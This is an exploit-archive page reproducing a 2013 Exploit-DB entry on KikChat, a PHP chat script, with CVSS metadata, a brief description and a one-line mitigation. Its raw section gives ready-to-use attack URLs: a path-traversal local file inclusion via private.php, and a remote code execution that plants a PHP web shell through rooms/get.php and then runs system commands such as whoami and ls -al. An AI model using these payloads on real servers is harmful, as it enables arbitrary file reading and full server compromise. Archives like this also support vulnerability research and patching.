KikChat - exploit.company

vendor:

KikChat

by:

cr4wl3r

9,8

CVSS

HIGH

LFI/RCE

94, 78

CWE

Product Name: KikChat

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux

2013

KikChat <= (LFI/RCE) Multiple Vulnerability

KikChat is vulnerable to both Local File Inclusion (LFI) and Remote Code Execution (RCE). The LFI vulnerability is present in the private.php file, which allows an attacker to read arbitrary files on the server. The RCE vulnerability is present in the get.php file, which allows an attacker to execute arbitrary commands on the server.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in any file or command execution.

Source

Exploit-DB raw data:

# KikChat <= (LFI/RCE) Multiple Vulnerability
# By cr4wl3r http://bastardlabs.info
# Script : http://petitvincent.perso.free.fr/Webmastering/Script%20PHP%20HTML%20JAVASCRIPT/php%20scripts/kikchat.zip
# Tested : Windows / Linux
# Dork   : download script
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnable LFI [ private.php ]

http://127.0.0.1/KikChat/private.php?name=../../../../../../../../../../[file]
http://127.0.0.1/KikChat/private.php?name=../../../../../../../../../../boot.ini
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnable RCE [ /rooms/get.php ]:

http://127.0.0.1/KikChat/rooms/get.php?name=shell.php&ROOM=<?php system($cmd); ?>
http://127.0.0.1/KikChat/myroom/shell.php?cmd=whoami;id;uname -a;pwd;ls -al
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

makase banyak :

tau lo bentor to hulandalo
tamongodula'a wau tamohutata, dulo ito momongulipu


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
p.s 
malandingalo wa'u sebenarnya mohutu sploitz
bo sekedar koleksi saja :D
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


// gorontalo 2013